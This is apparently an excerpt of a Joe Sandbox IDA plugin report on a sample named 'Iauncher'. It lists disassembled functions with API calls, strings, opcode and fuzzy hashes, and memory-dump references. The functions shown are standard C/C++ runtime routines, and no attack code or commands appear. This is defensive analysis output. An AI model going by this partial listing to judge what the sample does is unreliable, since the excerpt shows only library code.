Snapshot File: hcaresult_11_2_560000_Iauncher.jbxd

Yara matches

Similarity

API ID: CallFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
String ID: csm$csm$csm
API String ID: 2751267872-393685449
Opcode ID: f343dae1b7556bcf89fc156e157fec80a2fc9f25ce05b3827c1e43ffef68e9e2
Instruction ID: 30890b52ec2d58f718d0f380d99175ff65706d1ac385b42e4df3eb3f1d44e16d
Opcode Fuzzy Hash: f343dae1b7556bcf89fc156e157fec80a2fc9f25ce05b3827c1e43ffef68e9e2
Instruction Fuzzy Hash: 62B1667180020AEFCF29DFA4D9859AEBFB9FF94310F14416AE8056B212D735DE51CB92

Uniqueness

Uniqueness Score: -1.00%

Function 00569480 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 120COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 005694B7
___except_validate_context_record.LIBVCRUNTIME ref: 005694BF
_ValidateLocalCookies.LIBCMT ref: 00569548
__IsNonwritableInCurrentImage.LIBCMT ref: 00569573
_ValidateLocalCookies.LIBCMT ref: 005695C8

Strings

csm, xrefs: 0056955D
SV, xrefs: 0056958C

Memory Dump Source

Source File: 0000000B.00000002.1282245123.0000000000561000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00560000, based on PE: true

Associated: 0000000B.00000002.1282221168.0000000000560000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282309727.0000000000584000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282336889.000000000058E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282336889.00000000005C4000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282336889.00000000005D3000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282753451.00000000005DC000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1283537777.00000000005DD000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_560000_Iauncher.jbxd

Yara matches

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm$SV
API String ID: 1170836740-1636546819
Opcode ID: 8a6cf238046ec857455d11c8359e1acd5237afb871821c75e4d8f62e076333f0
Instruction ID: 88d7df2940f7a51848ecc1040d5940a0c3581bb5f085fb923e00cd5dc141d4b3
Opcode Fuzzy Hash: 8a6cf238046ec857455d11c8359e1acd5237afb871821c75e4d8f62e076333f0
Instruction Fuzzy Hash: E141A134A002099FCF11DF68C885A9EBFB9BF55328F148155EC19AB352DB31EA15CF91

Uniqueness

Uniqueness Score: -1.00%

Function 00564C6C Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 65COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00564C73
std::_Lockit::_Lockit.LIBCPMT ref: 00564C7D
int.LIBCPMT ref: 00564C94

Part of subcall function 00562577: std::_Lockit::_Lockit.LIBCPMT ref: 00562588
Part of subcall function 00562577: std::_Lockit::~_Lockit.LIBCPMT ref: 005625A2

codecvt.LIBCPMT ref: 00564CB7
std::_Facet_Register.LIBCPMT ref: 00564CCE
std::_Lockit::~_Lockit.LIBCPMT ref: 00564CEE

Strings

SV, xrefs: 00564CDB

Memory Dump Source

Source File: 0000000B.00000002.1282245123.0000000000561000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00560000, based on PE: true

Associated: 0000000B.00000002.1282221168.0000000000560000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282309727.0000000000584000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282336889.000000000058E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282336889.00000000005C4000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282336889.00000000005D3000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282753451.00000000005DC000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1283537777.00000000005DD000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_560000_Iauncher.jbxd

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Registercodecvt
String ID: SV
API String ID: 712880209-4155469514
Opcode ID: d73743043bda9673c5be8115582c67c76a3c37885dfe8b16038aa5bb427ff236
Instruction ID: f5de7a57622beecd8774534e4e9349ab55918ea95e150e327b080cb5ef3ab352
Opcode Fuzzy Hash: d73743043bda9673c5be8115582c67c76a3c37885dfe8b16038aa5bb427ff236
Instruction Fuzzy Hash: 2911B135900616DBCB10EB64D8596AE7FE5FF94720F200419E802A7391EBB49E44CF81

Uniqueness

Uniqueness Score: -1.00%

Function 00580C2A Relevance: 12.2, APIs: 8, Instructions: 248COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCPInfo.KERNEL32(00BF1E18,00BF1E18,?,7FFFFFFF,?,00580EFA,00BF1E18,00BF1E18,?,00BF1E18,?,?,?,?,00BF1E18,?), ref: 00580CD0
__alloca_probe_16.LIBCMT ref: 00580D8B
__alloca_probe_16.LIBCMT ref: 00580E1A
__freea.LIBCMT ref: 00580E65
__freea.LIBCMT ref: 00580E6B
__freea.LIBCMT ref: 00580EA1
__freea.LIBCMT ref: 00580EA7
__freea.LIBCMT ref: 00580EB7

Memory Dump Source

Source File: 0000000B.00000002.1282245123.0000000000561000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00560000, based on PE: true

Associated: 0000000B.00000002.1282221168.0000000000560000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282309727.0000000000584000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282336889.000000000058E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282336889.00000000005C4000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282336889.00000000005D3000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282753451.00000000005DC000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1283537777.00000000005DD000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_560000_Iauncher.jbxd

Yara matches

Similarity

API ID: __freea$__alloca_probe_16$Info
String ID:
API String ID: 127012223-0
Opcode ID: 1a5f9b1b4584ddbc01ae110096770a1607760b62ef0f487310e39b39a78b84b2
Instruction ID: 0d316a64c5d062e2c57175b3e17512b64573d73d9a9fd069552c86522265579d
Opcode Fuzzy Hash: 1a5f9b1b4584ddbc01ae110096770a1607760b62ef0f487310e39b39a78b84b2
Instruction Fuzzy Hash: A671C57290120A9BDF60BEA49C45BAFBFBABF85310F242559EC14B72C2D7759C488790

Uniqueness

Uniqueness Score: -1.00%

Function 0056462E Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00564635
std::_Lockit::_Lockit.LIBCPMT ref: 00564640
std::_Lockit::~_Lockit.LIBCPMT ref: 005646AE

Part of subcall function 00564791: std::locale::_Locimp::_Locimp.LIBCPMT ref: 005647A9

std::locale::_Setgloballocale.LIBCPMT ref: 0056465B
_Yarn.LIBCPMT ref: 00564671

Strings

SV, xrefs: 0056467D, 005646A1

Memory Dump Source

Source File: 0000000B.00000002.1282245123.0000000000561000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00560000, based on PE: true

Associated: 0000000B.00000002.1282221168.0000000000560000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282309727.0000000000584000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282336889.000000000058E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282336889.00000000005C4000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282336889.00000000005D3000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282753451.00000000005DC000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1283537777.00000000005DD000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_560000_Iauncher.jbxd

Yara matches

Similarity

API ID: Lockitstd::_std::locale::_$H_prolog3LocimpLocimp::_Lockit::_Lockit::~_SetgloballocaleYarn
String ID: SV
API String ID: 1088826258-4155469514
Opcode ID: 533e022072aebb81baa7ca8366a3e29fe3c24ae435c748cbcdb6e13267218888
Instruction ID: c347bddf2e8a470c86d367e3e16850d171363e35a6a8f193afce6b3507f8d2e9
Opcode Fuzzy Hash: 533e022072aebb81baa7ca8366a3e29fe3c24ae435c748cbcdb6e13267218888
Instruction Fuzzy Hash: FF015A79A00622DBCB05AF20D85957C7FA5FFE9750B244008EC0267382DF746A86EF91

Uniqueness

Uniqueness Score: -1.00%

Function 00570EA9 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 42libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,940D2BD2,?,?,00000000,00582854,000000FF,?,00570E39,?,?,00570E0D,00000000), ref: 00570EDE
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 00570EF0
FreeLibrary.KERNEL32(00000000,?,00000000,00582854,000000FF,?,00570E39,?,?,00570E0D,00000000), ref: 00570F12

Strings

CorExitProcess, xrefs: 00570EE8
mscoree.dll, xrefs: 00570ED7
SV, xrefs: 00570F01

Memory Dump Source

Source File: 0000000B.00000002.1282245123.0000000000561000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00560000, based on PE: true

Associated: 0000000B.00000002.1282221168.0000000000560000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282309727.0000000000584000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282336889.000000000058E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282336889.00000000005C4000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282336889.00000000005D3000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282753451.00000000005DC000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1283537777.00000000005DD000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_560000_Iauncher.jbxd

Yara matches

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll$SV
API String ID: 4061214504-2182140240
Opcode ID: 42ffa21f17e3eff22df792ded141e4a0748dff299a73ff95b4a02eb0dee73068
Instruction ID: b82273f55f6e67b481589ac0348030729df884133c3e076940e8885013d8be70
Opcode Fuzzy Hash: 42ffa21f17e3eff22df792ded141e4a0748dff299a73ff95b4a02eb0dee73068
Instruction Fuzzy Hash: BB018F35A08619EFDB119B50DC09BAEBFB8FB04B14F004529FC11B22D0EB749804DF90

Uniqueness

Uniqueness Score: -1.00%

Function 0057F56E Relevance: 9.3, APIs: 6, Instructions: 298COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.1282245123.0000000000561000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00560000, based on PE: true

Associated: 0000000B.00000002.1282221168.0000000000560000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282309727.0000000000584000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282336889.000000000058E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282336889.00000000005C4000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282336889.00000000005D3000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282753451.00000000005DC000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1283537777.00000000005DD000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_560000_Iauncher.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4329cf0b1ec0e0d0fa983510b0dfe9e73dc4597977bcc9c90fd1f57c2844e0f3
Instruction ID: 116983671770bfb005c8ebc09254bbc8df90132696700f292671054248ea24f3
Opcode Fuzzy Hash: 4329cf0b1ec0e0d0fa983510b0dfe9e73dc4597977bcc9c90fd1f57c2844e0f3
Instruction Fuzzy Hash: A9B12874A04246EFDB11DF98E845BAD7FB6BF98304F148169E808AB392C7709D41EF61

Uniqueness

Uniqueness Score: -1.00%

Function 0056967A Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,00569671,00569427,00566F4B), ref: 00569688
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 00569696
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 005696AF
SetLastError.KERNEL32(00000000,00569671,00569427,00566F4B), ref: 00569701

Memory Dump Source

Source File: 0000000B.00000002.1282245123.0000000000561000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00560000, based on PE: true

Associated: 0000000B.00000002.1282221168.0000000000560000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282309727.0000000000584000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282336889.000000000058E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282336889.00000000005C4000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282336889.00000000005D3000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282753451.00000000005DC000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1283537777.00000000005DD000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_560000_Iauncher.jbxd

Yara matches

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: e279f82630b57ababc249e7c5db2317e8a96620b923796b9aab6e26131c8da0a
Instruction ID: 442f11d7bbed9650a65acf0c49a35951b9c630a75807f10cf70a32af9bcfba0b
Opcode Fuzzy Hash: e279f82630b57ababc249e7c5db2317e8a96620b923796b9aab6e26131c8da0a
Instruction Fuzzy Hash: E301D832109312DEB61426B4BC8E65B3E5EFB933707300629F920771E0EFA24C05A742

Uniqueness

Uniqueness Score: -1.00%

Function 00569791 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 00569858
___AdjustPointer.LIBCMT ref: 0056987B
___AdjustPointer.LIBCMT ref: 00569917

Strings

SV, xrefs: 005697F0

Memory Dump Source

Source File: 0000000B.00000002.1282245123.0000000000561000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00560000, based on PE: true

Associated: 0000000B.00000002.1282221168.0000000000560000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282309727.0000000000584000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282336889.000000000058E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282336889.00000000005C4000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282336889.00000000005D3000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282753451.00000000005DC000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1283537777.00000000005DD000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_560000_Iauncher.jbxd

Yara matches

Similarity

API ID: AdjustPointer
String ID: SV
API String ID: 1740715915-4155469514
Opcode ID: b93075135d757a7346874a6a3c23f06f1d256ce12a7df57e964ab0b88de07730
Instruction ID: b9e5e57c9506911c186973b3489b072b3a89d479b41a1cf2449727a42ccfd25c
Opcode Fuzzy Hash: b93075135d757a7346874a6a3c23f06f1d256ce12a7df57e964ab0b88de07730
Instruction Fuzzy Hash: 2B510472A00202DFEB299F54D845B7ABFACFF96310F14452DE80157295EB32EC41DB91

Uniqueness

Uniqueness Score: -1.00%

Function 00561603 Relevance: 7.3, APIs: 2, Strings: 2, Instructions: 287COMMON

Download Yara Rule

APIs

_strcspn.LIBCMT ref: 0056168A
_strcspn.LIBCMT ref: 005616AE

Strings

LDX, xrefs: 0056165F
PDX, xrefs: 00561669

Memory Dump Source

Source File: 0000000B.00000002.1282245123.0000000000561000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00560000, based on PE: true

Associated: 0000000B.00000002.1282221168.0000000000560000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282309727.0000000000584000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282336889.000000000058E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282336889.00000000005C4000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282336889.00000000005D3000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282753451.00000000005DC000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1283537777.00000000005DD000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_560000_Iauncher.jbxd

Yara matches

Similarity

API ID: _strcspn
String ID: LDX$PDX
API String ID: 3709121408-807684381
Opcode ID: 4818a6c9be67f60fb1a2ffb9ec22c797f347393d3fd8742831c7298b66181d7a
Instruction ID: 75ec5dbcf26c819323a07bc63d32ab9c3805d24734d89931d35ff227c33cd848
Opcode Fuzzy Hash: 4818a6c9be67f60fb1a2ffb9ec22c797f347393d3fd8742831c7298b66181d7a
Instruction Fuzzy Hash: D7B175B5608741AFD720DF24C884A6BBBE9FFC9340F58491DF99987221DB30E905CB56

Uniqueness

Uniqueness Score: -1.00%

Function 0056A7C2 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(?,00000000,00000800,?,0056A773,00000000,?,?,?,?,?,0056A89D,00000002,FlsGetValue,00585D40,FlsGetValue), ref: 0056A7CF
GetLastError.KERNEL32(?,0056A773,00000000,?,?,?,?,?,0056A89D,00000002,FlsGetValue,00585D40,FlsGetValue,00000000,?,0056972D), ref: 0056A7D9
LoadLibraryExW.KERNEL32(?,00000000,00000000,00000000,?,0056972D,?,?,?,?,?,?), ref: 0056A801

Strings

api-ms-, xrefs: 0056A7E6

Memory Dump Source

Source File: 0000000B.00000002.1282245123.0000000000561000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00560000, based on PE: true

Associated: 0000000B.00000002.1282221168.0000000000560000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282309727.0000000000584000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282336889.000000000058E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282336889.00000000005C4000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282336889.00000000005D3000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282753451.00000000005DC000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1283537777.00000000005DD000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_560000_Iauncher.jbxd

Yara matches

Similarity

API ID: LibraryLoad$ErrorLast
String ID: api-ms-
API String ID: 3177248105-2084034818
Opcode ID: c7600847f615e1e5a7386321c0d9c39cf94df6e60dd316b0e7875ac1c6e58ef1
Instruction ID: 8e8d8344ae6893387e4f144c4329ae7d7b1ed3333af092225c0b4072c663bd2c
Opcode Fuzzy Hash: c7600847f615e1e5a7386321c0d9c39cf94df6e60dd316b0e7875ac1c6e58ef1
Instruction Fuzzy Hash: CEE09A31690205F6EA212B61EC0EB5A3F55AB10B51F254020FE0DB91A1E762995AAE85

Uniqueness

Uniqueness Score: -1.00%

Function 00577870 Relevance: 6.3, APIs: 4, Instructions: 338fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(940D2BD2,00000000,00000000,00000000), ref: 005778D3

Part of subcall function 00578FAF: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,0000FDE9,00000000,-00000008,00000000,?,00576B60,?,00000000,-00000008), ref: 0057905B

WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 00577B2E
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 00577B76
GetLastError.KERNEL32 ref: 00577C19

Memory Dump Source

Source File: 0000000B.00000002.1282245123.0000000000561000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00560000, based on PE: true

Associated: 0000000B.00000002.1282221168.0000000000560000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282309727.0000000000584000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282336889.000000000058E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282336889.00000000005C4000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282336889.00000000005D3000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282753451.00000000005DC000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1283537777.00000000005DD000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_560000_Iauncher.jbxd

Yara matches

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
String ID:
API String ID: 2112829910-0
Opcode ID: 963f6a211c3bc76bbc1714018c0213975e7999cca38e2ccf5661af9442b5b5e1
Instruction ID: 00520ba8292c05bc1c383d3b599368b130edaacfdf4cff2cd7b1b43d161425fa
Opcode Fuzzy Hash: 963f6a211c3bc76bbc1714018c0213975e7999cca38e2ccf5661af9442b5b5e1
Instruction Fuzzy Hash: 85D168B5D042599FCB01CFA8E8849ADBFB9FF4C300F18856AE859EB351E730A945DB50

Uniqueness

Uniqueness Score: -1.00%

Function 005793CB Relevance: 6.1, APIs: 4, Instructions: 82COMMON

Download Yara Rule

APIs

Part of subcall function 00578FAF: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,0000FDE9,00000000,-00000008,00000000,?,00576B60,?,00000000,-00000008), ref: 0057905B

GetLastError.KERNEL32 ref: 0057942F
__dosmaperr.LIBCMT ref: 00579436
GetLastError.KERNEL32(?,?,?,?), ref: 00579470
__dosmaperr.LIBCMT ref: 00579477

Memory Dump Source

Source File: 0000000B.00000002.1282245123.0000000000561000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00560000, based on PE: true

Associated: 0000000B.00000002.1282221168.0000000000560000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282309727.0000000000584000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282336889.000000000058E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282336889.00000000005C4000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282336889.00000000005D3000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282753451.00000000005DC000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1283537777.00000000005DD000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_560000_Iauncher.jbxd

Yara matches

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide
String ID:
API String ID: 1913693674-0
Opcode ID: 4ab44dba6ff8fb3fdfbbfa342591c3691c0b1e283bb320145b9a389f2a2d3d65
Instruction ID: 538b4bca8fbb9c84516acb827cf2bb5d34800b0243456b5ae7db9b2a84ef3150
Opcode Fuzzy Hash: 4ab44dba6ff8fb3fdfbbfa342591c3691c0b1e283bb320145b9a389f2a2d3d65
Instruction Fuzzy Hash: C3219271200206AF9F20AF61AC89C6B7FAEFF84364710C919F91D97151D731EC11ABA0

Uniqueness

Uniqueness Score: -1.00%

Function 005701EB Relevance: 6.1, APIs: 4, Instructions: 79COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.1282245123.0000000000561000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00560000, based on PE: true

Associated: 0000000B.00000002.1282221168.0000000000560000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282309727.0000000000584000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282336889.000000000058E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282336889.00000000005C4000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282336889.00000000005D3000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282753451.00000000005DC000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1283537777.00000000005DD000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_560000_Iauncher.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d4dfb705889c25b6fb19346a614ac34a07a3ae9ad799181cea6eb1d170d12bc6
Instruction ID: e1ec0a13de9f59e9acbeca126295a998dd9db225988ea73624f82cd8fa4ae546
Opcode Fuzzy Hash: d4dfb705889c25b6fb19346a614ac34a07a3ae9ad799181cea6eb1d170d12bc6
Instruction Fuzzy Hash: 6321807A601216EF9B60AFA1EC4D82B7FE9FF50364710D915F95997182DB31EC00E7A0

Uniqueness

Uniqueness Score: -1.00%

Function 0057A361 Relevance: 6.1, APIs: 4, Instructions: 74COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 0057A369

Part of subcall function 00578FAF: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,0000FDE9,00000000,-00000008,00000000,?,00576B60,?,00000000,-00000008), ref: 0057905B

FreeEnvironmentStringsW.KERNEL32(00000000), ref: 0057A3A1
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 0057A3C1

Memory Dump Source

Source File: 0000000B.00000002.1282245123.0000000000561000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00560000, based on PE: true

Associated: 0000000B.00000002.1282221168.0000000000560000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282309727.0000000000584000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282336889.000000000058E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282336889.00000000005C4000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282336889.00000000005D3000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282753451.00000000005DC000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1283537777.00000000005DD000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_560000_Iauncher.jbxd

Yara matches

Similarity

API ID: EnvironmentStrings$Free$ByteCharMultiWide
String ID:
API String ID: 158306478-0
Opcode ID: a6f73c5a2874d9d98cc42576d75c17be652c9739d315007deacc75f7c945e8a1
Instruction ID: 782f21169363ae281e34ed7ea44e9c530e04ad86ee39b7afa3c762dc20dd0e70
Opcode Fuzzy Hash: a6f73c5a2874d9d98cc42576d75c17be652c9739d315007deacc75f7c945e8a1
Instruction Fuzzy Hash: B5118EF191561BBF66116BB17C8EC6F2D5CEFD52A43119824F80991101EF208D80A6B2

Uniqueness

Uniqueness Score: -1.00%

Function 00561DFD Relevance: 6.0, APIs: 4, Instructions: 48COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00561E09
int.LIBCPMT ref: 00561E1C

Part of subcall function 00562577: std::_Lockit::_Lockit.LIBCPMT ref: 00562588
Part of subcall function 00562577: std::_Lockit::~_Lockit.LIBCPMT ref: 005625A2

std::_Facet_Register.LIBCPMT ref: 00561E4F
std::_Lockit::~_Lockit.LIBCPMT ref: 00561E65

Memory Dump Source

Source File: 0000000B.00000002.1282245123.0000000000561000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00560000, based on PE: true

Associated: 0000000B.00000002.1282221168.0000000000560000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282309727.0000000000584000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282336889.000000000058E000.00000004.00000001.01000000.0000000D.sdmpDownload File
